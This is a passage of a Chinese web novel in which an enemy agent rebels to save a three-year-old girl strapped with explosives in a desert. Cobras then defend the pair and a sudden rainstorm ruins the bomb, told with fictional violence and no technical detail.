像故事里大灰狼吃掉小白兔那样!
妈妈讲过英雄的故事,为了把在大夏土地上作恶的鬼子赶出去,爸爸和叔叔阿姨们不怕牺牲、不怕流血,才换来了安宁。现在,甜甜也要像他们一样“牺牲”了吗?
她还没来得及好好看看爸爸,没看到爸爸说的能打跑坏邻居的大**升上天空,还没能帮更多像她一样的小朋友……
甜甜抬起头,望着严世君,望着屋里所有冷漠残忍的人,大眼睛里迸射出不屈的怒火!
她用力攥紧小拳头,用尽全身力气喊道:“你们这群大坏人!甜甜才不怕你们!我爸爸一定会把你们都抓起来!”
稚嫩的声音在地下室里回荡,引得众人哄堂大笑。
严世君拍拍她冰冷的小脸蛋,“小丫头,有种,不愧是你爹的闺女。”
“沈副组长,劳你驾,把孩子抱上去吧。”
沈若文手脚僵硬。
她能感觉到,高衍舟的目光正落在她身上,带着审视与警告;吴浩则掏出了**,慢条斯理地擦拭着**。
现在所有人,似乎都在怀疑她的身份。奉命接近梁哲,却引来自家组织的猜忌。而对三岁幼童的恻隐之心,在他们眼中,恐怕也成了别有用心的佐证。
沈若文咬了咬牙,伸手去拉甜甜。这支****是最新科技,自带控制开关,眼下正在严世君手中。只有他按下开关,**才会**。
至少此刻,甜甜还是安全的。
“甜甜,跟阿姨上去吧。”
“哼!你也是坏人!甜甜不理你!”甜甜愤怒地拨开她的手,昂起小小的胸脯,像个真正的勇士一样,一步步朝着门口走去。
爸爸,甜甜才不会做叛徒!
你一定要快点来救我呀!
一行人来到地面,此刻盘旋的直升机早已返航,基地的追击部队被拦在蚁群之外。只要从另一个方向绕过去,他们就能直扑守备空虚的实验场。
高衍舟早已算准,绝大多数科研骨干会留在实验场收集试车数据,此刻正是偷袭的最佳时机。
“我已向组织发电,只要坚持到晚上八点,接应的直升机就能入境。”严世君抬手看了看表,“现在是十三点五十分,我们还剩最后一个任务,炸毁实验场。”
“全体都有,上车!”
此次派出的“灰雀”小组原本七人,加上严、高、沈、吴四人,共十一人。付大强一死,十人正好挤上两辆吉普车。
甜甜被沈若文抱在怀里,让本就狭小的空间更显拥挤。
吴浩带人上了第一辆车,严世君命令沈若文上第二辆,同车的还有林瀚元和杜峰两名组员。高衍舟坐在副驾驶。
车门刚阖上,一声“噼卜”脆响陡然划破空气!
前一辆车的前挡风玻璃应声炸裂,一个狰狞的血洞赫然出现!浓烈的血腥味混着硝烟味,被沙漠热风吹进高衍舟的鼻腔。
“有敌情——!”
“隐蔽!”
前车副驾驶的吴浩大吼一声,飞快推开车门滚了下去。后排的三人也紧随其后跳下车,各自寻找掩体。
只有驾驶座上的灰雀成员永远地留在了车上,额头中间多了一个汩汩冒血的黑洞。
“狙击手!”严世君脸色剧变,猛地挂档踩下油门,“基地的人追上来了!”
吉普车猛地横甩出去,完成一个惊险的漂移。巨大的惯性让后排的沈若文等人狠狠晃了一下,甜甜的小身子更是猛地一颠,险些从沈若文怀里滑出去。
沈若文眼疾手快,死死将她搂回腿上。
几乎同时,第二颗**破空而来,带着短促的啸音!
“砰!”
**擦着漂移
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的车身打在车门上,迸出一串火花。严正君丝毫不敢停留,方向盘急转,油门几乎踩进油箱:“吴浩,顶住!我们稍后再会合!”
话音未落,吉普车已经如离弦之箭般窜出,朝着前方疾驰而去!
吴浩趴在一丛梭梭草后,眼睁睁看着吉普车绝尘而去,恨得重重一拳砸在地面!
“王八蛋!”
也不知是在骂紧追不舍的敌人,还是在骂大难临头,跑得比兔子还快的同仁。
“都打起精神!他们绕过来了!跟他们拼了!”剩余三人眼看性命堪忧,也顾不得许多,纷纷掏出枪来准备死战。
严世君一路油门狂踩,终于将追击的**甩远。看来对方应该是跨过蚁群不久,还没组织起大规模进攻,这才让他们有了喘息之机。
但车内气氛已彻底紧绷。高衍舟面沉如水,表情阴冷,后排两人盯着甜甜,目光凶恶。
只有甜甜,坐在沈若文怀里,扬着小脑瓜骄傲宣告,“是我爸爸!爸爸一定能打败你们!”
“闭嘴!”旁边的林瀚元怒不可遏,他们折了兄弟,此刻正气地发狂。
“小丫头片子,不想死就给老子把嘴闭上!”
“甜甜反正要**!”小姑娘倔强地瞪着他。她知道这些坏人迟早会杀她。可她不怕死,就算死,也要说真话。
“我爸爸就是比你们厉害!把你们这些坏蛋都打趴下!”
沈若文猛地抬手格开他的手腕,冷冷地道:“她身上绑着什么看不见?还敢乱动!”
林瀚元一惊,想到那一圈**,只好缩回了手。
“便宜了你!”
他还不解恨,阴森森地说,“不用你现在嘴硬,等到了地方,我们一按按钮,‘砰’的一声,你就被炸成碎片了!”
“她才三岁!你吓唬一个孩子算什么本事!”沈若文积压的怒火忍无可忍,胸膛剧烈起伏,几乎要控制不住自己。
从来没有任何一刻,她觉得身边这些同仁们一个个如此丧心病狂。
手刃孕妇不够,还要炸死三岁的孩子!
就在这时,高衍舟转过头,目光和沈若文对上。
沈若文的声音卡在了喉咙里。
高衍舟盯着她看了几秒,那眼神仿佛能穿透人心,看穿她所有的挣扎与软弱。
随后,他面无表情地转回头去。
车内再度陷入死寂,压抑得让人窒息,再无人敢发出半点声响。
第75章 惊天反水!药剂迷晕恶魔,甜甜快跑!
吉普车在沙土路上颠簸疾驰。烈日灼烤大地,沙漠蒸腾起缕缕热浪。
在这紧绷的沉寂中,困意反而悄然滋生。
甜甜被折腾了大半天,早已撑不住,小脑袋一点一点,眼皮沉重。
沈若文无声地调整姿势,将自己的胳膊垫在甜甜的小脑袋下,
在这有限的空间里,在这倒计时般的残酷时刻,就让她最后再感受一次温暖的呵护吧。
实验场前方的军事禁区,甜甜曾独自踏足过。那里缠绕着冰冷的铁丝网,矗立着高耸的哨楼,卫兵的身影站在哨位上,24小时无休地巡查着。
高衍舟对这里早有了解,吉普车在岗哨还未查探到的数百米开外,悄无声息停了下来。
没有人知道,他对这些穿军装的人,有一股深植于骨髓的恨意。忍辱负重跟在郑宏教授身边数十年,等的,就是今天这个复仇的契机。
二十一年前,他唯一的姐姐嫁给了一名连长,彼时抗日战争正打得如火如荼,新婚燕尔的连长来不及多陪伴姐姐几日,便匆匆奔赴前线。
就在他离开的第五个月,鬼子偷袭了庄子!
他连夜赶去报信。连长,也就是他的姐夫,却为了掩护另一个村子的百姓,正与鬼子浴血鏖战,硬是抽不出一兵一卒回援。
等到村民得救,他和姐夫带着一身硝烟与伤痕赶回来时,整个庄子早已被鬼子焚烧成一片焦土。
他那怀着身孕的姐姐,连同腹中的孩子,一尸两命葬身火海,永远留在了那片废墟之中。
从那天起,姐夫就像疯了似的,每次冲锋,他都像不要命似的冲在最前头。
伤疤摞了一层又一层,眼底燃着的,全是同归于尽的决绝。
终于,在一次保护村民的战斗中,他抱着一名鬼子,拉动了身上的**。
那一战,姐夫身边倒下了七八个鬼子。而他站在满地**与血泊中,神情僵冷如冰。
这件事他从未对任何人说起过——他永远不会原谅姐夫,永远不会。
从姐姐葬身火海的那一刻起,他就一直在等,等姐夫为他的“大义”付出性命的那一天。
后来,孑然一身的他被好心的老乡收养,又因天性聪颖、识字,被送去城里读书。命运几经辗转,让他遇到了地质专家郑宏教授。
郑宏几乎将他视如己出,关心他冷暖,还倾囊相授,供他读书,直至学业有成。
他常常感叹:“衍舟,你聪明,沉得下心,是块搞地质研究的好材料。将来,要为国家出力啊。”
他嘴上恭敬的答应,心底那团恨意,却像一块千年不化的寒冰,沉沉压在心底。
就你们懂奉献?就你们懂牺牲?连自己最亲近的人都护不住,还好意思把自己捧得那么高尚?
可笑!
虚伪!!!
如今,高衍舟望着近在咫尺的实验场,所有隐忍、痛楚,裹胁着复仇将至的快意,最终沉淀为一种近乎疯狂的决绝。
这也是为什么只要他的眼神扫过,沈若文便被吓到噤声的原因——
那根本不是正常人该有的眼神,更像一头失控的疯魔,一头不惜同归于尽的恶鬼!
他盯住严正君,瞳孔深处掠过一抹猩红:“副站长,下命令吧。”
姐姐,你看见了吗?这些口口声声为了“大家”,便要牺牲“小家”的伪善者,很快就要坠入地狱,向你忏悔赎罪了。
严正君点了点头,手一挥,吐出极度冰冷的四个字——
“准备武器。”
吉普车的后备箱被掀开,里面赫然躺着数支装满**的**,三支擦得锃亮的****,除此之外,还有数枚**,以及一箱足以掀翻钢铁设施的烈性**。
沈若文的目光落在那箱**上,心一寸寸沉入谷底。
这群疯子!
他们的目的不只是摧毁**试车台——他们是要让这里所有人陪葬!
“动手吧。沈副组长负责押送甜甜进军区,林瀚元驾车,我和高组长、杜峰火力掩护。”
严正君吩咐完,俯身便去抄**,其他人也纷纷伸手去拿武器。
沈若文一反先前畏缩的姿态,挤进人群,抬手便要去抓**。
林瀚元见状,以为她要主动打头阵,下意识地后退半步,给她让出了位置。
就在这千钧一发之际!
说时迟那时快,沈若文手腕一翻,飞快探入贴身衣袋
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,掏出一只巴掌大的迷你雾化瓶,对准几人面部猛然按下!
刹那间,一股淡淡的甜醚味在空气中弥散开来。高衍舟几人几乎同时嗅到了异样,离她最近的林瀚元身体一晃,眼神骤然涣散,双腿发软向旁倒去。
杜峰还没反应过来,下意识想伸手去扶,胳膊刚抬到半空,脑袋便沉沉垂下,整个人直挺挺栽在**箱旁,没了动静。
严正君的手指已经触到了枪柄,可就在这一刻,四肢突然像灌了铅般沉重,再也挪不动分毫。他猛地转头瞪向沈若文,眼中翻涌着震惊与愤怒,嘴唇动了动想要嘶吼些什么,却连一个字都吐不出来。
下一秒,他眼前一黑,重重地跌坐在沙地上。
再看最后一名高衍舟,也早已悄无声息地蜷缩在地。
前后不过半分钟,四个人尽数倒地。
沈若文一直紧紧揪着的心,总算松了口气,她不敢怠慢,立刻拉开后车门,把甜甜抱了出来。
方才在自己怀里时,她已悄悄在小姑娘鼻端抹了一层石蜡油膏,隔绝了挥发的药剂,因此她们二人都未受影响。
甜甜还不知道发生了什么事,脸上依旧挂着对她的嫌弃:“坏阿姨,你干嘛?!”
沈若文来不及解释,低头检察甜甜身上绑着的**,严正君不知用的什么系法,绳结全是死结,一时半会根本解不开。
而现在也不是解**的时候,时间紧迫,必须争分夺秒。
“甜甜听我说!”她深吸一口气,按住小姑娘的肩膀,语气认真急促,“坏叔叔们被阿姨暂时迷晕了,你马上往岗哨跑,让那里的叔叔帮你解开**!”
她抬手指向远处的哨楼,“快!”
甜甜愣住了,大眼睛里满是迷惑,“你……你要放了我?”
“快跑!没时间了!”
沈若文不由分说,将小姑娘用力往前一推。小姑娘这才反应过来,立刻迈着小短腿,跌跌撞撞地往前跑。
“甜甜!”
沈若文的声音从身后传来。
小姑娘下意识地回头,恰好看见沈若文向她露出一个带着歉意的笑容,轻声说:“对不起,之前委屈你了,别怨阿姨……”
第76章 信仰崩塌?逃跑失败,她和孩子成了待宰羔羊
甜甜呆立了几秒,一时不知该如何回应。随后,在沈若文挥手催促的手势中,转过身,加快脚步往前冲去。
所有**遥控都有距离限制,只要甜甜跑出遥控范围内,严世君手里的**就成了废铁。
但沈若文仍不敢大意,立即反身,将半昏迷的严世君翻过来。他瞳孔涣散,眼睁睁看着沈若文的手在自己口袋里翻找,却无力阻止。
一分钟后——
“找到了!”
沈若文心中一喜,从严世君内侧口袋里掏出了那个黑色的引爆盒。
浇水,或者彻底砸碎,只要毁了它,甜甜的安全才有了保障。
之后再把这些昏迷的人塞进车里,避开军队的追击,越过边境线。到了那边,即便组织找到她,将她送上军事法庭,她也无怨无悔。
幼年时,她曾受“灰雀”资助,立誓要终身回报。可如今,身边这些人的所作所为,早已与她当初坚守的信仰背道而驰。
她必须亲自找到站长,问清楚这一切——到底是她错了,还是这世界早已扭曲变形?
脚边恰好有一块棱角分明的石头,她蹲下身,双手高高捧起,正要朝着引爆盒砸下——
突然间,一蓬浮沙猛地扬起,直扑她的双眼!
变故突生,好在沈若文早有防备,身体猛地向旁边一滚,堪堪避开了沙砾。可还没等她探手摸向后腰别着的**,一记重击已兜头砸来!
“啪!”
清脆又沉闷的抽打声响起,沈若文脸上瞬间传来火辣辣的剧痛,整个人被打得直接翻倒在地。两指宽的红痕迅速在她白皙的脸颊上隆起,肿胀发烫。
她刚要挣扎起身反击,一个高大的身影已扑了上来,死死将她按在滚烫的沙地上,紧接着,大掌带着呼啸的风声,狠狠掴向她的脸颊。
“**!”
清脆的巴掌声在空旷死寂的沙漠上回荡,刺耳得让人毛骨悚然。
沈若文被打得头晕目眩,嘴角不断涌出腥甜的血沫,视线模糊间,从肿胀的眼缝里,她看清了行凶之人——
正是满脸冷漠、眼神却状如恶鬼的高衍舟!
沈若文满心惊骇,他明明也中了**药剂,怎么会安然无恙?
可高衍舟根本不给她思考的机会,拳头如雨点般落下。不过片刻,沈若文便彻底丧失了抵抗能力,只剩下徒劳的喘息,浑身的骨头仿佛都要被打碎。
高衍舟拉直手中的皮带,粗暴地将她的双手反捆在身后。随后一把推开瘫软在地的沈若文,转身跳上吉普车,油门一脚踩到底,车轮卷起漫天黄沙,朝着甜甜逃跑的方向追了过去。
沈若文的心瞬间提到了嗓子眼,最可怕的事情还是发生了!
果然,不过片刻功夫,那辆吉普车便卷着沙尘疾驰而回。高衍舟从车上揪下一个小小的身影,正是哭得上气不接下气的甜甜。
“跑?”高衍舟将甜甜狠狠扔在地上,冷笑一声,声音里满是残忍的嘲弄,“我倒要看看,你们能跑到哪儿去?”
说罢,他转回身走向昏迷的严世君。
严世君与他不同,是实实在在中了招。毕竟,不是所有人都有这位科学家的极致严谨——会提前为自己做好万全的防护措施。
高衍舟从口袋里掏出一小盒风油精,又从车里拿出军用水壶,他把风油精放在严世君鼻端,再倒出冷水拍打他的太阳穴。
**是挥发性吸入式麻醉剂,能暂时阻断了大脑的意识传导,风油精的刺激性气味能直接穿透麻醉屏障,刺激呼吸和神经反射。
冷水则能加速神智清醒。几番操作下来,严正君的眼睫终于缓缓掀开一条缝,从昏沉中醒了过来。
“感觉怎么样?”高衍舟伸手将他扶起。
严世君痛苦地捂着额头,对上了高衍舟冷静到近乎冷酷的眼睛。
电光石火间,一切明了。
“沈、若、文——!”
先前挂在脸上的斯文面具瞬间碎裂,严世君猛地从地上爬起,几步冲到蜷缩在地的女人身前,抬脚便狠狠踹在她肋下!
“唔……”
沉闷的撞击声里,剧烈的痛楚瞬间席卷全身,浓重的铁锈味漫卷上来,沈若文死
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死咬住唇,将那口血沫咽了回去。
“你怎么敢!”
严正君厉声嘶吼,反手摸出腰间佩枪,“咔嗒”一声**上膛,冰冷的枪口直指沈若文心口。
“背叛组织,私放敌人!我现在就可以毙了你!”
“你动手啊!”
事到如今,沈若文早已将生死置之度外,她迎着枪口,愤懑地大吼,“你们想炸死一个三岁的孩子,这也是站长授权的吗?!”
“你果然被腐蚀透了!”
严世君怒极反笑,“站长早就让我提防你!为了这么个小崽子,连命和组织都不要了?”
他俯下身,声音压低,带着恶毒的讥诮,“沈副组长,你拼死救她,该不会是做着能靠这份‘功劳’,攀上那位梁团长,飞上枝头的美梦吧?”
“你胡说!”沈若文脸颊涨红,“我和他清清白白!”
“我有没有胡说,你心里清楚。”严世君枪口一偏,指向不远处瑟瑟发抖的甜甜。
甜甜的大脑一片空白。
巨大的恐惧像冰水灌满了她小小的身体,让她无法动弹。
沈阿姨被踢中的闷响,比任何童话里的妖怪吼叫都可怕。她看见沈阿姨嘴角渗出的红色,脑子里嗡嗡作响,原来人真的会流血,真的会疼死。
她想尖叫,喉咙却像被死死堵住,只能发出小兽般绝望的呜咽。
爸爸,爸爸你在哪?甜甜好害怕……
“别打沈阿姨!坏蛋!大坏蛋!”
最终冲破恐惧的,是更本能的保护欲。甜甜带着哭腔拼命尖叫起来。
从沈若文推开她、让她快跑的那一刻起,孩子那颗懵懂的心就已经开始了倾斜。
此刻看到唯一对她释放过善意的人被殴打欺辱,恐惧化作了更汹涌的眼泪。
“沈阿姨……呜呜……”
哭声揪住了沈若文的心脏。她艰难侧头,想给女孩一个安慰的眼神,却被剧痛锁住了动作。
“严副站长,”她喘息着,声音沙哑,“你们也是有信仰、宣过誓的人,‘不伤及妇孺老幼’,难道不是信条之一?”
第77章 绝境反转!眼镜王蛇突现沙漠,恶人血溅当场
“那得看是谁的妇孺。”严世君的**纹丝不动,“大夏军方的人,就是敌人。这条铁律,需要我再给你重温一遍吗?”
“她才三岁!连枪都拿不动!”沈若文嘶声力竭。
“斩草,务必除根。”严世君语调冰封,不带一丝涟漪,“沈副组长,真是可惜了,你这般花季年华,却犯下背叛组织的死罪。就算我和你们组长求情,也保不了你。”
“安息吧。看在你为组织效力多年的份上,我会给你留个全尸。”
这句话,无异于最终的**宣判。
一抹绝望闪过沈若文眼底,她还有太多心愿未了,就这样死在这里,她不甘心!
可一想到自己死后,甜甜要遭受的非人折磨,她的心更像要被活活撕裂。
事已至此,她清楚对方绝不会让自己活着离开,死亡,将会是她的注定归宿。
无力地闭上眼,她轻声开口:“……副站长,卑职认罪,甘愿赴死。能不能请您……放过那孩子。”
“你们可以炸毁基地,炸毁实验场,但请不要,让一个三岁的孩子,死在这里。”
这是她最后的哀求,哪怕最终不被接纳,她也尽力了。
她等待着终结的枪响。
但**未至。抵在心口的**,被另一只手稳稳压了下去。
高衍舟不知何时已救治了另外两名昏迷的手下,此刻站在一旁,目光如冷厉的刀锋般刮过沈若文惨白的脸。
“若文,你在台岛,是不是还有个妹妹?”
沈若文的嘴唇剧烈哆嗦起来,不敢置信地看着高衍舟,仿佛看到了从地狱爬出来的恶魔:“你……你想干什么?”
“听说她读书不错,很受学校关照。”高衍舟语气平静,却有一丝无法压抑的残忍。
“组织照顾效忠者的家眷,自然……也能处置叛徒的亲属。这道理,你懂。”
“不……不要……”
沈若文不知哪里来的力气,竟挣扎着跪起,语无伦次地哀求。
“组长!求您!一切都是我的错!跟我妹妹无关!求您高抬贵手……”
“放过你?”
高衍舟垂眼看着她,如同看着脚边蝼蚁,又瞥了一眼不远处的甜甜。
“组织的抚恤与优待,只给烈士和忠臣。”他慢条斯理地说,“这份‘殊荣’和你妹妹的安危,现在,取决于你的选择。”
沈若文僵住了。她缓缓转头,看向甜甜。小女孩脸上泪痕未干,却死死抿着嘴,用那双清澈无比的眼睛,愤怒地瞪着在场的每一个人。
那些充满杀机的对话她未必全懂,但其中纯粹的恶意,孩子全都感知得一清二楚。
这些坏人,要拿沈阿姨最重要的人来逼她。
为什么人能这么坏?抓她、关她、给她绑上**,还要用她去炸基地里的叔叔阿姨!
爸爸说过,对坏人求饶没用,他们的心是黑的,只有打败他们,才能得救。
一股陌生的,从未有过的情绪,刹那涌上她的心头。
不再是单纯的害怕,而是更尖锐、更滚烫的东西,充斥进她的四肢百骸,像烈焰般燃烧着她的胸口。
是怒火!是愤怒!
是恨!
她恨这些让沈阿姨哭、逼沈阿姨做坏事的人!
从未有一刻,她的目标如此清晰:
她要打败这些坏人,让他们再也不敢欺负好人,再也不能做坏事!
这时,她看到沈若文挣扎着走到自己面前,被解开的手轻轻捧住她的脸颊,掌心的温度里,藏着一种甜甜不懂、却足以让她感受到的痛苦。
“沈阿姨……”
她轻轻问,“你……你也要被坏人杀**吗?”
“对不起,甜甜……”沈若文泪如雨下,她知道,自己已无路可退。无论怎么选,结局都已注定。
只是,她不忍让这孩子被炸成碎片,更不忍让她累及更多无辜的人。
至于台岛的妹妹,她知道自己必将连累她,可事到如今,已别无他法。
菁文,对不起,姐姐要走了,愿你保重自己,早日逃出“灰雀”,重获自由。
“不要怕,”她趴在小女孩耳边,轻声道,“你只是睡了一觉,不会痛的,阿姨会很快……”
睡一觉?像妈妈故事里那些永远不再醒来的英雄吗?
不行!不可以!甜甜不要沈阿姨死!
所有的恐惧在这一刻被更强大的愤怒吞噬。
她挺起被**捆缚的小小胸膛,对那几个恶魔发出稚嫩却震人心魄的怒吼:“你们这些大坏蛋!一个都跑不了!”
“死丫头,死到临头还嘴硬!”林瀚元被她吼得心头火起,扬手就想打下去。
就在他手掌即将触及甜甜脸颊的刹那——
脚下的沙土突然发出“窸窸窣窣”的流动声。
甜甜的感官在极致的愤怒中变得异常清晰。她听不到风声,却能“感觉”到脚下沙粒深处,有什么冰冷、沉睡的东西,被她的恨意“吵醒”了。
她紧紧攥住小拳头,脑子里只有一个念头翻腾:“滚开!不许碰我!咬他!咬他们!”
几乎在她念头闪现的瞬间,众人脚下的沙地毫无征兆的一陷!
一道黑影如黑色闪电般破沙而出,精准无比地咬住了
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林瀚元的手掌!
“嗤!”
皮肉被刺穿的细微声响,在这一刹那清晰刺耳。
众人还没反应过来,林瀚元已发出一声凄厉的惨叫。
大家定睛看去,这才发现咬住他掌缘的,竟是一条昂首怒立、颈部膨扁的眼镜王蛇!
一切发生得太快。
不过短短几秒,林瀚元的惨叫声便戛然而止。整条手臂瞬间乌黑发紫。
他眼球凸出,喉咙里发出“咯咯”的怪响,随即直挺挺向后倒去,重重砸在沙地上。呼吸肌彻底麻痹,他甚至没来得及留下半句遗言,已然气绝。
这突如其来的一幕,惊得所有人心胆俱裂。哪怕冷血如高衍舟,也下意识地后退了数步。沈若文吓得浑身一颤,第一反应便是将甜甜紧紧护在怀里,捂住了她的眼睛。
严正君更是瞳孔骤缩,手中的枪险些脱手。
谁也想不通,沙漠的沙土下,怎么会突然冒出一条眼镜王蛇,还精准地攻击了林瀚元。
离得最近的杜峰反应最快,特工的本能压倒恐惧,他手腕一抖,枪口火光连闪!
“砰砰砰!”
**急促!
难得他在如此变故下仍保持优秀准头。眼镜蛇纵然凶残迅捷,终究是血肉之躯,三颗**尽数没入蛇身。
凶悍的毒蛇一阵剧烈扭动,蛇头终于无力垂下原本盘在地上的蛇身,也渐渐变得僵硬。
高衍舟长舒一口气,后背已惊出一层冷汗。方才那一下,真是变起仓促,惊魂未定。
“杜峰,好枪法!”向来吝啬夸赞的他,难得露出一丝鼓励的笑容。
“副站长,您没事吧?”杜峰立了功,先转头关心严正君。
严正君摇摇头,眉头紧锁:“奇怪,这蛇是从哪里窜出来的?”
“此地不宜久留,必须立刻按计划行事。”高衍舟沉声道。
“副站长,那小林他……”杜峰瞥了一眼地上的战友,眼中闪过一丝不忍。没想到任务即将成功,战友却死得如此憋屈。
“他为组织尽了忠,就留在这里吧。”严正君的语气毫无波澜,言下之意,任务为重,没时间料理后事。
“副站长说得对,小林是被毒蛇所咬,我们别碰他了,以免再生变故。”高衍舟附和道。
“都怪这畜生!”杜峰忿忿不平,抬脚就想把地上的眼镜蛇踢开。
“别动它!”严正君突然反应过来,急忙出声制止。
可一切都晚了。
那本该死去的眼镜蛇,像是被触动了神经般,猛地昂起断裂的蛇头,露出白森森的獠牙,一口咬中了杜峰的鞋面。
第78章 自食恶果!毒蛇复仇,竟帮幼童挡仇敌
杜峰穿的是帆布胶鞋,看似结实,实则布面薄弱。眼镜王蛇的獠牙何等锋利,瞬间刺破布料,咬中了他的脚趾。
一阵微弱的刺痛从脚底传来,杜峰大惊失色,猛地抬脚想把蛇甩出去,可蛇咬得极紧,他连甩几下,竟丝毫甩不脱。
剧毒顺着伤口迅速渗入血管,在周身游走。杜峰的脸色瞬间变得惨白如纸,他挣扎着向高衍舟伸出手,声音微弱地求救。
“组……组长……救……救救我!”
而高衍舟的反应,却是立刻后退一步,与他拉开距离。
“扑通”一声,杜峰摔倒在地,手仍徒劳地向前伸着,渴望得到战友的怜悯。“救……救……”他的呼吸越来越微弱,却始终没人上前。
或许是眼镜蛇已死,注入的毒素不如之前浓烈,杜峰没有立刻断气,只是感觉呼吸越来越困难。
他在地上无助地翻滚,拼尽最后一丝力气想要延续生机,却只是徒劳。
沈若文紧紧抱着甜甜,不忍再看。她不同情这些恶魔,但这般死法,仍令她心生寒意。
怀中的甜甜却轻轻动了一下。
沈若文低头,只见女孩不知何时已从她指缝间望了出去。
最初的震惊过后,一种冰冷而清晰的感觉涌上甜甜心头——
活该!
“沈阿姨,”甜甜用气音开口,稚嫩的声线里透着一种奇异的平静,“坏蛋被咬了。他们在受惩罚。”
沈若文心头一震,难以置信地看向女孩的眼睛。
在那双总是盛满天真与依赖的眸子里,她第一次清晰地看到了燃烧的愤怒,和不该出现在她这个年纪里的恨意。
“他们想当吃小白兔的大灰狼,”甜甜一字一顿,像在宣读一个自然的法则,“大灰狼,都不会有好下场。”
童真的声音夹杂在杜峰濒死的呻吟里,显得格外突兀而森然。
高衍舟和严世君同时听到了。一股莫名的寒意,顺着脊椎猛地窜上!
“小丫头,你刚才说什么?”高衍舟眯起眼,锐利的目光钉在甜甜脸上。
甜甜抬起头,毫无畏惧地迎上他的视线,声音清晰地重复:“大灰狼,会被猎人,一个一个,全部打死。”
在此之前,她是柔弱无助、任人宰割的幼童。但就在被逼入绝境的深渊,某种深植于血脉、沉睡于意识深处的力量,被极致的恐惧与愤怒彻底点燃、唤醒。
她集中全部意念,憎恨着这些加害者,渴望他们遭受惩戒,祈祷他们再不能为恶……
或许,正是这不屈的念力,无形中引动了沙海之下那双冰冷的竖瞳。
当然,也可能仅仅是他们践踏了毒蛇的巢穴,招致了最直接的反噬。
严世君喉结滚动,压低声音对高衍舟道:“高组长,这孩子……果然邪性。留不得了。”
“那实验场的计划……”
“另寻机会!先处理掉她们,以绝后患!”严世君杀心已定。
他瞥了一眼手中遥控器,又看了看近在咫尺的沈若文和甜甜。距离太近,**可能波及自身。
他果断将遥控器揣回,再次抬起了**。
就在他即将扣下**的电光石火间——
“等等!”高衍舟厉声喝止,脸色骤变。
他们脚下的沙地,再次传来异响!
“簌簌……簌簌簌……”
不再是单一的动静,而是连绵一片,仿佛沙层之下有无数东西在同时蠕动、苏醒!
“快上车——!!!”高衍舟厉声急喝,二话不说,转身拉开驾驶门就钻了进去。
严世君反应也快,见势不妙,立刻跟着跳上了车。
两人还没来得及关车门,沙土突然翻涌得更剧烈!
“轰”的一声,竟像浪花翻起!
一条、两条、三条……整整七八条体型不一的眼镜蛇,从沙中猛地钻了出来!
它们昂着三角形的头颅,吐着分叉的蛇信,竖立的蛇瞳冰冷刺骨,死死盯着车上的两人。
“妈的!哪来这么多鬼东西!”严世君魂飞天外,用尽全力拽紧车门。
就在这时,一条眼镜蛇突然跃起,狠狠朝着他撞了过来。
“小心——!”高衍舟惊呼一声。
严世君来不及多想,用尽平生力气猛地一拉车门。
“砰”的一声巨响,车门死死关上。
那条眼镜蛇慢了千分之一秒,蛇身狠狠撞在车门上,发出“咚”的一声闷响。
“快开车!”严世君被吓得嗓音都变了调。高衍舟哆嗦着手去拧钥匙,就在这瞬间,已有五六条蛇顺着车轮往车上爬,还有的飞快游上车头盖,正试图从缝隙里钻入。
好在这时
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,汽车终于打着了火。
高衍舟猛地打满方向盘,油门狠踩到底!车身在原地硬生生转了180度,巨大的离心力将爬到上面的蛇悉数甩飞!
轮胎溅起一片黄沙,吉普车发出一声咆哮,疯了似的窜了出去。
剩下的蛇被远远甩在身后,两人终于得以暂时脱身。
高衍舟从后视镜瞥了一眼,眼中狠戾之色重现。
“副站长!”
“怎么?”严世君仍惊魂未定,大口喘着气。
“那两个女人必须死!现在!”
严世君一怔,没想到这个时候,高衍舟还惦记着杀沈若文和甜甜。这人“冷血”的名号,果然名不虚传。
“她们周围全是毒蛇,肯定活不了。”
“你看清楚!那些蛇,根本不碰她们!”高衍舟从牙缝里挤出声音。
“你说什么?”严世君不信,急忙趴到车窗上向后望去。
这一看,浑身血液几乎要被冻结!
沙地上,十余条眼镜蛇将沈若文和甜甜围在中间,非但没有攻击,反而齐齐调转蛇头,面朝吉普车逃离的方向,摆出了警戒与护卫的姿态!
蛇群中央,沈若文正徒劳地试图用身体遮挡甜甜,而甜甜小小的身影立在当中。
“邪门……太邪门了……”严世君喃喃,感到头皮阵阵发麻。
“用**!遥控引爆!”高衍舟决断道,“动静大也顾不上了!”
严世君一咬牙,伸手去掏怀中的引爆器。
极度的紧张让他手指不听使唤,摸索间,那冰冷的金属方块竟从指缝滑落,“啪嗒”一声掉在脚垫下。
“该死!”他低骂一声,不得不费力弯下腰,在颠簸的车内摸索。
可摸索了半天,却始终不见踪影。直到快一分钟后,他才发现引爆器卡在了座椅与车体的缝隙里,只是空间狭小,极难抠出。
见此情形,高衍舟不得不控制车速,等待着严世君。
既不敢离得太远失去遥控距离,又不敢靠得太近招惹蛇群。
吉普车在沙地上画着尴尬的弧线。
严世君则弯撅臀,费力地伸着手去抠座椅缝里的引爆器,姿势别扭,使不上力,腰也酸麻不堪。
就在这尴尬僵持的时刻——
“轰隆!”
毫无征兆,天际炸响一声惊雷!
第79章 天降暴雨!战神老爸杀到,暴揍敌特分子!
原本湛蓝无云的天空,仿佛被撕开一道口子,黄豆大的雨点毫无缓冲地倾盆砸下!干燥的沙地瞬间被砸出无数小坑,蒸腾起浓重的土腥气。
在此之前,这片沙漠已经大半年没下过一滴雨了。
谁也没想到,下午四点二十一分,蛋黄般的太阳依旧挂在天空,这场暴雨会来得如此突然,如此猛烈。
冰冷的雨水劈头盖脸浇在甜甜身上,瞬间将她浑身浇透。沈若文本能地想为孩子遮雨,可下一秒,她的眼睛突然亮了!
她眼睁睁看着雨水浸湿**外壳,彻底泡透了里面的**、引线。
那困扰了她许久的致命威胁,竟在这场突如其来的大雨中,变成了一堆无用的废料!
“啊啊啊!甜甜!太好了!我们有救了!”沈若文喜极而泣,顾不上自己浑身湿透,扑上去紧紧抱住女孩冰凉的小身子。
甜甜抬起湿漉漉的小脸,雨水顺着睫毛滴落。凌乱的头发贴在脸颊上,眼神却亮晶晶的。
“不怕了,甜甜,不怕了!”沈若文激动得语无伦次,她颤抖着手摘下自己的发卡,手忙脚乱地去拆捆在甜甜身上的绳结。
“等解开绳结,阿姨就带你去找爸爸!”
“嗯!”甜甜乖巧地点点头。
围在两人身边的眼镜蛇们,也在雨中静静盘踞着,没有任何攻击的迹象。
“阿姨,疼吗?”甜甜伸出小手,轻轻触碰沈若文脸上被殴打留下的青紫。
